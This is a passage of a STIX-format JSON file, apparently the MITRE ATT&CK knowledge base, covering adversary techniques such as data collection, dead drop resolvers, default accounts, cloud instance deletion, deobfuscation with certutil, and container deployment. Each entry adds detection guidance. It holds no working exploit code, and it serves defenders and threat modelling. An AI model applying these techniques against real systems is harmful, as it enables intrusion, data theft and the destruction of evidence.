                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1213",
                    "url": "https://attack.mitre.org/techniques/T1213"
                },
                {
                    "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
                    "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
                    "source_name": "Microsoft SharePoint Logging"
                },
                {
                    "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html",
                    "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
                    "source_name": "Atlassian Confluence Logging"
                }
            ],
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            "name": "Data from Information Repositories",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2021-04-14T14:16:12.151Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "3.1",
            "x_mitre_contributors": [
                "Praetorian",
                "Milos Stojadinovic"
            ],
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content"
            ],
            "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "SaaS",
                "Office 365",
                "Google Workspace"
            ]
        },
        {
            "created": "2017-05-31T21:30:20.537Z",
            "modified": "2020-05-26T19:21:25.974Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1005",
                    "external_id": "T1005"
                }
            ],
            "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n",
            "name": "Data from Local System",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_system_requirements": [
                "Privileges to access certain files and directories"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data from Network Shared Drive",
            "description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1039",
                    "url": "https://attack.mitre.org/techniques/T1039"
                },
                {
                    "external_id": "CAPEC-639",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/639.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-03-24T15:42:44.026Z",
            "created": "2017-05-31T21:30:41.022Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Privileges to access network shared drive"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "File: File Access",
                "Network Share: Network Share Access",
                "Command: Command Execution"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "created": "2017-05-31T21:30:31.584Z",
            "modified": "2020-03-24T15:44:46.584Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1025",
                    "external_id": "T1025"
                }
            ],
            "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",
            "name": "Data from Removable Media",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_system_requirements": [
                "Privileges to access removable media drive and files"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2020-03-14T22:24:21.841Z",
            "modified": "2020-03-26T23:12:30.499Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
            "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
            "name": "Dead Drop Resolver",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1102.001",
                    "url": "https://attack.mitre.org/techniques/T1102/001"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1491",
                    "url": "https://attack.mitre.org/techniques/T1491"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Defacement",
            "description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n",
            "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-03-08T10:33:01.150Z",
            "created": "2019-04-08T17:51:41.390Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.2",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n",
            "x_mitre_data_sources": [
                "File: File Modification",
                "File: File Creation",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1078.001",
                    "url": "https://attack.mitre.org/techniques/T1078/001"
                },
                {
                    "external_id": "CAPEC-70",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/70.html"
                },
                {
                    "source_name": "Microsoft Local Accounts Feb 2019",
                    "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts",
                    "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019."
                },
                {
                    "source_name": "AWS Root User",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html",
                    "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021."
                },
                {
                    "source_name": "Threat Matrix for Kubernetes",
                    "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
                    "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."
                },
                {
                    "source_name": "Metasploit SSH Module",
                    "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh",
                    "description": "Metasploit. (n.d.). Retrieved April 12, 2019."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Default Accounts",
            "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)",
            "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-05T20:14:26.846Z",
            "created": "2020-03-13T20:15:31.974Z",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1578.003",
                    "url": "https://attack.mitre.org/techniques/T1578/003"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                },
                {
                    "source_name": "AWS CloudTrail Search",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/",
                    "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020."
                },
                {
                    "source_name": "Azure Activity Logs",
                    "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs",
                    "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020."
                },
                {
                    "source_name": "Cloud Audit Logs",
                    "url": "https://cloud.google.com/logging/docs/audit#admin-activity",
                    "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Delete Cloud Instance",
            "description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)",
            "id": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-03-08T10:33:02.083Z",
            "created": "2020-06-16T17:23:06.508Z",
            "x_mitre_detection": "The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the <code>TerminateInstances</code> event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances delete</code> to delete a VM.(Citation: Cloud Audit Logs)",
            "x_mitre_data_sources": [
                "Instance: Instance Deletion"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
                "IaaS"
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        },
        {
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1140",
                    "url": "https://attack.mitre.org/techniques/T1140"
                },
                {
                    "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/",
                    "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
                    "source_name": "Malwarebytes Targeted Attack against Saudi Arabia"
                },
                {
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "source_name": "Carbon Black Obfuscation Sept 2016"
                },
                {
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "source_name": "Volexity PowerDuke November 2016"
                }
            ],
            "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)",
            "name": "Deobfuscate/Decode Files or Information",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-07-09T14:42:23.122Z",
            "created": "2017-12-14T16:46:06.044Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Red Canary"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Modification",
                "Script: Script Execution"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host intrusion prevention systems",
                "Signature-based detection",
                "Network intrusion detection system"
            ],
            "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1610",
                    "url": "https://attack.mitre.org/techniques/T1610"
                },
                {
                    "source_name": "Docker Containers API",
                    "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Kubernetes Dashboard",
                    "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021."
                },
                {
                    "source_name": "Kubeflow Pipelines",
                    "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/",
                    "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Aqua Build Images on Hosts",
                    "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host",
                    "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021."
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Deploy Container",
            "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
            "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "modified": "2021-04-14T12:02:20.641Z",
            "created": "2021-03-29T16:51:26.020Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.",
            "x_mitre_contributors": [
                "Pawan Kinger, @kingerpawan, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Idan Frimark, Cisco",
                "Center for Threat-Informed Defense (CTID)",
                "Magno Logan, @magnologan, Trend Micro",
                "Ariel Shuper, Cisco",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_data_sources": [
                "Container: Container Creation",
                "Container: Container Start",
                "Pod: Pod Creation",
                "Pod: Pod Modification",
                "Application Log: Application Log Content"
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        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1591.001",
                    "url": "https://attack.mitre.org/techniques/T1591/001"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
                },
                {
                    "source_name": "DOB Business Lookup",
                    "url": "https://www.dobsearch.com/business-lookup/",
                    "description": "Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Determine Physical Locations",
            "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
            "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:37:35.863Z",
            "created": "2020-10-02T16:32:33.126Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1587",
                    "url": "https://attack.mitre.org/techniques/T1587"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "Bitdefender StrongPity June 2020",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."
                },
                {
                    "source_name": "Talos Promethium June 2020",
                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Develop Capabilities",
            "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.",
            "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:08:33.511Z",
            "created": "2020-10-01T01:30:00.877Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
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        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1587.003",
                    "url": "https://attack.mitre.org/techniques/T1587/003"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."
                }
            ],
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Digital Certificates",
